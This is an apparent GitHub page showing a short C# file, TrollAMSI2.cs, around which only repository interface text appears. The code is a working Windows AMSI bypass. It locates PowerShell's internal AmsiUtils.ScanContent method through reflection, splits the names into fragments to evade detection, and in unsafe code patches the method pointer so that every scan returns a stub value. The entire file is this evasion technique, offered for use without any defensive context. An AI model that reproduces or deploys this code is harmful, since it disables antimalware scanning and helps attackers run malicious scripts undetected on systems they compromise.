-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathTrollAMSI2.cs
23 lines (20 loc) · 897 Bytes
/
TrollAMSI2.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using System;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Xml.Linq;
public static class TrollAMSI
{
public static void troll()
{
MethodInfo o = typeof(PSObject).Assembly.GetType("System.Management.Automation.Am" + "si" + "U" + "tils").GetMethod("Sca" + "nC" + "ontent", BindingFlags.Static | BindingFlags.NonPublic);
MethodInfo t = typeof(TrollAMSI).GetMethod("M", BindingFlags.Static | BindingFlags.NonPublic);
// RuntimeHelpers.PrepareMethod(o.MethodHandle);
// RuntimeHelpers.PrepareMethod(t.MethodHandle);
//Compile with unsafe flag
unsafe { *(long*)((o.MethodHandle.Value + 8)) = *(long*)((t.MethodHandle.Value + 8)); }
}
private static int M(string c, string s) { return 1; }
}